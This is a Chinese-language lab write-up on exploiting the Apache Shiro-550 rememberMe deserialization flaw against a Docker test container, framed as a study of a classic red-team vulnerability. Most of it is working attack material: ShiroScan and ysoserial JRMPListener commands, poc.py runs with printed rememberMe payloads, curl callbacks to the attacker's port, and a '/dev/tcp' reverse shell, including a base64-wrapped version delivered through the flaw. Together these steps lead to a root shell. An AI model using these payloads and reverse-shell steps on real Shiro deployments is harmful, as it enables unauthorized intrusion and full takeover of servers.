Shiro550作为2020年HW的经典漏洞,引无数英雄竞折腰
当年比赛许多同学通过550拿下过各地核心目标和难打目标,自己参与其中无论从攻击还是防御溯源都受益匪浅
虽是两年前写的本地测试WP,漏洞依然经典,分享下
常见条件
一般shiro550的post隐患点在登录口,返回包存在rememberMe=deleteme;参数的,可以尝试测试shiro-550-post方式是否可以利用
获取环境
拉取镜像到本地
代码语言:javascript复制$ docker pull medicean/vulapps:s_shiro_1
启动环境
代码语言:javascript复制$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
靶机:XXX.XXX.XXX.XXX:9956
攻击机:XXX.XXX.XXX.XXX:2345
工具:ShiroScan
启动靶机
代码语言:javascript复制service docker start
代码语言:javascript复制docker pull medicean/vulapps:s_shiro_1
docker run -d -p 9956:8080 medicean/vulapps:s_shiro_1 // 9956代表靶机开放的服务端口
访问:XXX.XXX.XXX.XXX:9956 靶机生成成功
漏洞验证
代码语言:javascript复制root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master# python shiro_rce.py http://XXX.XXX.XXX.XXX/admin/login "ping XXX.ceye.io"
访问dnslog.cn
访问ceye平台,发现有dns记录,则说明命令执行成功,该点存在漏洞
正常命令执行结果
攻击机:上开启nc监听本地2345端口
代码语言:javascript复制nc -lvvp 2345
靶机:148.70.144.198:9956执行‘curl 132.232.75.164:2345’命令:
代码语言:javascript复制curl 132.232.75.164:2345
攻击机上查看nc回显,发现靶机命令执行成功,攻击机上回显了靶机命令操作后结果
漏洞利用
代码语言:javascript复制备注:几个坑点
(1)关于curl回显只能使用CommonsCollections4模块调用才能成功
(2)rememberMe值是会变化的,执行失败需要重新生成再替换注入
1.在攻击机上执行:(意思是将‘curl xxx.xxx.xxx.xxx:2345’命令对靶机9956端口发送请求,令靶机执行,开启针对靶机9956端口的监听)
代码语言:javascript复制root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule# java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9956 CommonsCollections4 'curl xxx.xxx.xxx.xxx:2345'
2.攻击机开启NC监听(执行payload后返回的命令回显于nc)
代码语言:javascript复制nc -lvvp 2345
3.在攻击机上执行 poc.py,意思是将本机IP伪造为目标机端口执行,注意IP是攻击机IP,端口是靶机端口:
代码语言:javascript复制root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule# python poc.py XXX.XXX.XXX.XXX:9956
rememberMe=3ISkYwsZQQOCX1ChLxTLmOknsb5kOolTjEJb05MTMkj1OMuXrDNICACVqE4xhL5eTtnl3wMWfMuWQQJ5TVzflEhCuKdGIv/6mGFi7shsfHD4JXcZVV4rptnYdZUmeHvX5UgyQiNULJjb 42E2kdhr9i1pbdMMhdVthO2pX2YznsMOknkndxOVdGUH g/eS84uAbvQdf1zIaU/6S6JiEDRgR UWm/h6Ap5lTQCGHXeiw GIW3GrViipcVphFLudkT8bIc2S97rrcy4 ymW8puMKzNwmrLXxwnC4HVG4oiwTMRmGJCJMTa13nAGMYOkP3Jo3/b5t3NLoDO8rdCFC82JJxTk788lada6SObtcERLDILah7SfiE32AO4yGYte6pI jwzlXTUL6i/5kKOCSsfwg==
4.接下来就是对登录口进行抓包,对rememberMe值进行添加替换,注意执行成功会有1秒左右卡顿返回包才返回,才说明你成功了。
5.查看远程监听的靶机9956端口的监听情况,发现有连接请求:
6.查看nc监听的本地2345端口,发现我们对靶机XXX.XXX.XXX.XXX:9956执行的命令‘curl XXX.XXX.XXX.XXX’的命令回显,已经在nc中建立接收到,说明远程命令执行已经成功。漏洞利用成功
反弹shell(正常命令执行结果)
1.在攻击机上开启nc监听本地2345端口
代码语言:javascript复制nc -lvvp 2345
2.在靶机上执行命令,意思是将靶机shell反弹至攻击机上,命令执行成功:
代码语言:javascript复制bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2345 0>&1
3.在攻击机上查看nc回显,发现靶机命令执行成功,攻击机上回显了靶机命令操作后结果
反弹shell(从漏洞层利用)
在线bash加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html
1.我们真正想在靶机上执行的命令:
代码语言:javascript复制bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/2345 0>&1
2.在攻击机上执行:(意思是将‘bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2345 0>&1
’在靶机上执行,将shell反弹至攻击机xxx.xxx.xxx.xxx的2345端口,)CommonsCollections4和CommonsBeanutils1一样可以反弹shell:
代码语言:javascript复制root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule#
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9956 CommonsCollections4 'bash -c {echo,xxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}'
3.攻击机开启NC监听(执行payload后返回的命令回显于nc)
代码语言:javascript复制nc -lvvp 2345
4.在攻击机上执行 poc.py,意思是将本机IP伪造为目标机端口执行,注意IP是攻击机IP,端口是靶机端口:
代码语言:javascript复制root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule#
python poc.py XXX.XXX.XXX.XXX:9956 rememberMe=JHKeKz9hRJ oyUnsm4S4Ia 9ss1VDJQDN2RrnW/YAxroUmJ0j2wia4RPub4BbtphsjEV8TWK0ngzPqeKoYHbVU8yE5uPqE5ENjQtTHM6mDCb1p4JGjS0oFd8wekHcNhdEoU8jzO7SNpTQoUgE5R2AXyRNrlPTkf6yMtxuEZ6ewWpttWUuO4qxQpzmY72VYtijJIXNEAI8xB6tq8DIEIsNLm3VEBM8WTlOzEDBsVLSxwGu89AhWWnEqPXVwcViuFjYKo37 BTnN8E22a6scyYqS25pTxXwDCtiPBVHNoHavfSPRJJlAf67kw3CF25ETHrHnbO PithkTYfji g4 iLoZHoPFW6r4mWCWbRTAj9/JH yGvgcvVYK ziTRfofWF4hgzYImQDQgGP4S0isU02g==
5.接下来就是对登录口进行抓包,对rememberMe值进行添加替换,注意执行成功会有1秒左右卡顿返回包才返回,才说明你成功了。
6.查看nc监听的本地2345端口,发现我们对靶机XXX.XXX.XXX.XXX:9956执行的命令回显,已经在nc中建立接收到,说明远程命令执行已经成功。漏洞利用成功,拿下root权限shell